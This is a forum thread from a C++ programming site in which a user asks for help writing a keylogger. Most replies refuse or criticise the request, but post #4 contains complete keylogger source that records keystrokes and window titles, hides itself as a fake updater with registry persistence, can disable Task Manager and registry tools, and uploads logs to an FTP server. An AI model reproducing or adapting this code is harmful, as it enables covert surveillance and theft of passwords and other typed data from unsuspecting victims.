CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Page 1 of 2 12 LastLast
Results 1 to 15 of 17
  1. #1
    Join Date
    Nov 2008
    Posts
    2

    [C++] can you help me write a very simple keylogger

    i want to understand and wrote a keylogger that i can easily learn, like getting windows title and users keyboard press.. i have so many sources of keyloggers that work but i cannot understand each line so i want it to start it from scratch.. i hope someone helps me. tnx =)

  2. #2
    Join Date
    Nov 2003
    Posts
    1,902

    Re: [C++] can you help me write a very simple keylogger

    >> that i can easily learn
    Find something else to learn. No one here is going to hold your hand while developing something that could be used as malware.

    >> i cannot understand each line
    If there's code you don't understand, post it here and ask what it does.

    gg

  3. #3
    Join Date
    Jan 2008
    Posts
    48

    Re: [C++] can you help me write a very simple keylogger

    See win32 api ng news://194.177.96.26/comp.os.ms-wind...ogrammer.win32
    to get complete and detailed samples in C

  4. #4
    Join Date
    Nov 2008
    Posts
    2

    Re: [C++] can you help me write a very simple keylogger

    #include <windows.h>
    #include <wininet.h>
    #include <fstream>
    using namespace std;

    std::string Keylog(int Key);

    int StartUp();

    DWORD WINAPI Upload(LPVOID);

    int i,
    key,
    Size,
    Sec;

    ofstream Log;
    ifstream Logger;

    char Path[MAX_PATH+10],
    RPath[300],
    SysDir[MAX_PATH+10],
    LogDir[MAX_PATH+10],
    WindowText1[MAX_PATH+10],
    WindowText2[MAX_PATH+10],
    Time[10];

    char *Buffer = 0,
    *Server = 0,
    *User = 0,
    *Pass = 0,
    *DTask = 0,
    *DReg = 0,
    *USec = 0,
    *UVic = 0;

    HKEY hKey;

    HINTERNET hFtp,
    hInet;

    HWND Window;

    DWORD dwValue = 1;

    int main()
    {
    StartUp();

    GetSystemDirectory(LogDir, sizeof(LogDir));
    strcat(LogDir, "\\logg.txt");

    Log.open(LogDir, ios:ut);

    CreateThread(NULL, 0, Upload, 0, 0, NULL);

    while(1)
    {
    Sleep(5);

    _strtime(Time);

    Window = GetForegroundWindow();

    GetWindowText(Window, WindowText1, sizeof(WindowText1));

    for(key = 8; key < 191; key++)
    {
    if(GetAsyncKeyState(key)&1 == 1)
    {
    if(strcmp(WindowText1, WindowText2))
    {
    Log<<"Window Title: "<<WindowText1<<"\n";
    Log<<Time<<": ";
    strcpy(WindowText2, WindowText1);
    }
    Log<<Keylog(key);
    }
    }
    }
    }

    std::string Keylog(int Key)
    {
    std::string KeyString;

    if(Key==0x20)
    KeyString = " ";

    if(Key==0xBC)
    KeyString = ",";

    if(Key==0xBD)
    KeyString = "-";

    if(Key==0xBE)
    KeyString = ".";

    if(Key==0x08)
    KeyString = "[BACKSPACE]";

    if(Key==0x09)
    KeyString = "[TAB]";

    if(Key==0x0D)
    KeyString = "[ENTER]";

    if(Key==0x10)
    KeyString = "[SHIFT]";

    if(Key==0x11)
    KeyString = "[STRG]";

    if(Key==0x12)
    KeyString = "[ALT]";

    if(Key==0x14)
    KeyString = "[CAPITAL]";

    if(Key==0x30)
    KeyString = "0";

    if(Key==0x31)
    KeyString = "1";

    if(Key==0x32)
    KeyString = "2";

    if(Key==0x33)
    KeyString = "3";

    if(Key==0x34)
    KeyString = "4";

    if(Key==0x35)
    KeyString = "5";

    if(Key==0x36)
    KeyString = "6";

    if(Key==0x37)
    KeyString = "7";

    if(Key==0x38)
    KeyString = "8";

    if(Key==0x39)
    KeyString = "9";

    if(Key==0x41)
    KeyString = "a";

    if(Key==0x42)
    KeyString = "b";

    if(Key==0x43)
    KeyString = "c";

    if(Key==0x44)
    KeyString = "d";

    if(Key==0x45)
    KeyString = "e";

    if(Key==0x46)
    KeyString = "f";

    if(Key==0x47)
    KeyString = "g";

    if(Key==0x48)
    KeyString = "h";

    if(Key==0x49)
    KeyString = "i";

    if(Key==0x4A)
    KeyString = "j";

    if(Key==0x4B)
    KeyString = "k";

    if(Key==0x4C)
    KeyString = "l";

    if(Key==0x4D)
    KeyString = "m";

    if(Key==0x4E)
    KeyString = "n";

    if(Key==0x4F)
    KeyString = "o";

    if(Key==0x50)
    KeyString = "p";

    if(Key==0x51)
    KeyString = "q";

    if(Key==0x52)
    KeyString = "r";

    if(Key==0x53)
    KeyString = "s";

    if(Key==0x54)
    KeyString = "t";

    if(Key==0x55)
    KeyString = "u";

    if(Key==0x56)
    KeyString = "v";

    if(Key==0x57)
    KeyString = "w";

    if(Key==0x58)
    KeyString = "x";

    if(Key==0x59)
    KeyString = "y";

    if(Key==0x5A)
    KeyString = "z";

    if(Key==0x60)
    KeyString = "0";

    if(Key==0x61)
    KeyString = "1";

    if(Key==0x62)
    KeyString = "2";

    if(Key==0x63)
    KeyString = "3";

    if(Key==0x64)
    KeyString = "4";

    if(Key==0x65)
    KeyString = "5";

    if(Key==0x66)
    KeyString = "6";

    if(Key==0x67)
    KeyString = "7";

    if(Key==0x68)
    KeyString = "8";

    if(Key==0x69)
    KeyString = "9";

    return KeyString;
    }

    int StartUp()
    {
    GetModuleFileName(GetModuleHandle(NULL), Path, sizeof(Path));
    GetSystemDirectory(SysDir, sizeof(SysDir));

    strcat(SysDir, "\\update_3442897\\updtr32.exe");

    if(strcmp(Path, SysDir))
    {
    GetSystemDirectory(SysDir, sizeof(SysDir));

    strcat(SysDir, "\\update_3442897");

    CreateDirectory(SysDir, 0);

    strcat(SysDir, "\\updtr32.exe");

    CopyFile(Path, SysDir, 0);

    RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
    RegSetValueEx(hKey, "Updater", 0, REG_SZ, (const unsigned char*)SysDir, sizeof(SysDir));
    RegCloseKey(hKey);
    }

    Logger.open(Path, ios::in | ios::binary);

    Logger.seekg(0, ios::end);

    Size = Logger.tellg();

    Logger.seekg(0, ios::beg);

    Buffer = (char*)malloc(Size);

    Logger.read(Buffer, Size);

    Logger.close();

    // Getting infos

    for(i = 0; i < Size; i++)
    {
    if(Buffer[i] == '*' && Buffer[i+1] == '1' && Buffer[i+2] == '*')
    {
    Server = Buffer + i + 3;
    break;
    }
    }

    for(i = 0; i < Size; i++)
    {
    if(Buffer[i] == '*' && Buffer[i+1] == '2' && Buffer[i+2] == '*')
    {
    User = Buffer + i + 3;
    break;
    }
    }

    for(i = 0; i < Size; i++)
    {
    if(Buffer[i] == '*' && Buffer[i+1] == '3' && Buffer[i+2] == '*')
    {
    Pass = Buffer + i + 3;
    break;
    }
    }

    for(i = 0; i < Size; i++)
    {
    if(Buffer[i] == '*' && Buffer[i+1] == '4' && Buffer[i+2] == '*')
    {
    DTask = Buffer + i + 3;
    break;
    }
    }

    for(i = 0; i < Size; i++)
    {
    if(Buffer[i] == '*' && Buffer[i+1] == '5' && Buffer[i+2] == '*')
    {
    DReg = Buffer + i + 3;
    break;
    }
    }

    for(i = 0; i < Size; i++)
    {
    if(Buffer[i] == '*' && Buffer[i+1] == '6' && Buffer[i+2] == '*')
    {
    USec = Buffer + i + 3;
    break;
    }
    }

    for(i = 0; i < Size; i++)
    {
    if(Buffer[i] == '*' && Buffer[i+1] == '7' && Buffer[i+2] == '*')
    {
    UVic = Buffer + i + 3;
    break;
    }
    }

    // Edit infos

    if(Server != 0)
    {
    for(i = 0; i < strlen(Server); i++)
    {
    if(Server[i] == '*' && Server[i+1] == '2' && Server[i+2] == '*')
    {
    Server[i] = 0;
    }
    }

    for(i = 0; i < strlen(Server); i++)
    Server[i] = Server[i]-2;
    }

    if(User != 0)
    {
    for(i = 0; i < strlen(User); i++)
    {
    if(User[i] == '*' && User[i+1] == '3' && User[i+2] == '*')
    {
    User[i] = 0;
    }
    }

    for(i = 0; i < strlen(User); i++)
    User[i] = User[i]-2;
    }

    if(Pass != 0)
    {
    for(i = 0; i < strlen(Pass); i++)
    {
    if(Pass[i] == '*' && Pass[i+1] == '4' && Pass[i+2] == '*')
    {
    Pass[i] = 0;
    }
    }

    for(i = 0; i < strlen(Pass); i++)
    Pass[i] = Pass[i]-2;
    }

    if(DTask != 0)
    {
    for(i = 0; i < strlen(DTask); i++)
    {
    if(DTask[i] == '*' && DTask[i+1] == '5' && DTask[i+2] == '*')
    {
    DTask[i] = 0;
    }
    }

    for(i = 0; i < strlen(DTask); i++)
    DTask[i] = DTask[i]-2;
    }

    if(DReg != 0)
    {
    for(i = 0; i < strlen(DReg); i++)
    {
    if(DReg[i] == '*' && DReg[i+1] == '6' && DReg[i+2] == '*')
    {
    DReg[i] = 0;
    }
    }

    for(i = 0; i < strlen(DReg); i++)
    DReg[i] = DReg[i]-2;
    }

    if(USec != 0)
    {
    for(i = 0; i < strlen(USec); i++)
    {
    if(USec[i] == '*' && USec[i+1] == '7' && USec[i+2] == '*')
    {
    USec[i] = 0;
    }
    }

    for(i = 0; i < strlen(USec); i++)
    {
    USec[i] = USec[i]-2;
    }

    Sec = atoi(USec);
    }

    if(UVic != 0)
    {

    for(i = 0; i < strlen(UVic); i++)
    UVic[i] = UVic[i]-2;

    strcat(UVic, " - Online.txt");
    }

    if(DTask != 0)
    {
    if(!strcmp(DTask, "yes"))
    {
    RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey);
    RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(DWORD));
    RegCloseKey(hKey);
    }
    }

    if(DReg != 0)
    {
    if(!strcmp(DReg, "yes"))
    {
    RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey);
    RegSetValueEx(hKey, "DisableRegistryTools", 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(DWORD));
    RegCloseKey(hKey);
    }
    }
    }

    DWORD WINAPI Upload(LPVOID)
    {
    Sleep(Sec);

    Log.close();

    hInet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

    hFtp = InternetConnect(hInet, "ftpserver", INTERNET_DEFAULT_FTP_PORT, "username", "pass", INTERNET_SERVICE_FTP, 0, 0);

    FtpPutFile(hFtp, LogDir, UVic, FTP_TRANSFER_TYPE_BINARY, 0);

    InternetCloseHandle(hFtp);
    InternetCloseHandle(hInet);

    exit(0); //Log uploaded, exit now !
    }

  5. #5
    Join Date
    Nov 2000
    Location
    Voronezh, Russia
    Posts
    6,633

    Re: [C++] can you help me write a very simple keylogger

    Now, could you explain what is the point of all this? You gonna learn stealing passwords and infecting workstations? You got to wrong place, nobody here likes that. You gonna learn something of a kind more close to "programming" from that... horrible something you called a "source"? I really doubt that, man. In case I would see something similar during a job interview, the author would be seen off in a minute, invited to drop in in five, or better ten years.
    Best regards,
    Igor

  6. #6
    Join Date
    Jun 2008
    Location
    San Francisco, USA
    Posts
    24

    Re: [C++] can you help me write a very simple keylogger

    I hope you don't develope virus!

  7. #7
    Join Date
    Nov 2005
    Posts
    281

    Re: [C++] can you help me write a very simple keylogger

    This child could not develop a virus or malware. He can't understand the code, let alone the compiler. He probably wants to make a keylogger so he can infect people on the internet and be a "1337 haq0r".

    Change your intentions, change your question and come back to CodeGuru . This is a place of learning for CONSTRUCTIVE purposes, you have DESTRUCTIVE purposes.
    Last edited by Rehorav; December 8th, 2008 at 04:59 AM.

  8. #8
    Join Date
    Apr 2008
    Posts
    214

    Re: [C++] can you help me write a very simple keylogger

    Well, based on another post by, I assume a friend of his or maybe even the same person, he is creating a logger for a game. I could hardly understand what the other one was saying so I really don't know the concept behind it.

  9. #9
    Join Date
    Nov 2005
    Posts
    281

    Re: [C++] can you help me write a very simple keylogger

    Quote Originally Posted by zaryk View Post
    Well, based on another post by, I assume a friend of his or maybe even the same person, he is creating a logger for a game. I could hardly understand what the other one was saying so I really don't know the concept behind it.
    A logger for a game? As in stealing CD Keys for games?

  10. #10
    Join Date
    Nov 2009
    Posts
    5

    Re: [C++] can you help me write a very simple keylogger

    Is the smiley a "" or a "(:"?

  11. #11
    Join Date
    Nov 2009
    Posts
    5

    Re: [C++] can you help me write a very simple keylogger

    or maybe a or (;

  12. #12
    Join Date
    Nov 2009
    Posts
    5

    Re: [C++] can you help me write a very simple keylogger

    :O 8 :0 80 8O

  13. #13
    Join Date
    Nov 2009
    Posts
    5

    Re: [C++] can you help me write a very simple keylogger


  14. #14
    Join Date
    Nov 2009
    Posts
    5

    Re: [C++] can you help me write a very simple keylogger

    ok figured it out lol

  15. #15
    Join Date
    Oct 2010
    Posts
    3

    Re: [C++] can you help me write a very simple keylogger

    :*

Page 1 of 2 12 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  





Click Here to Expand Forum to Full Width

Featured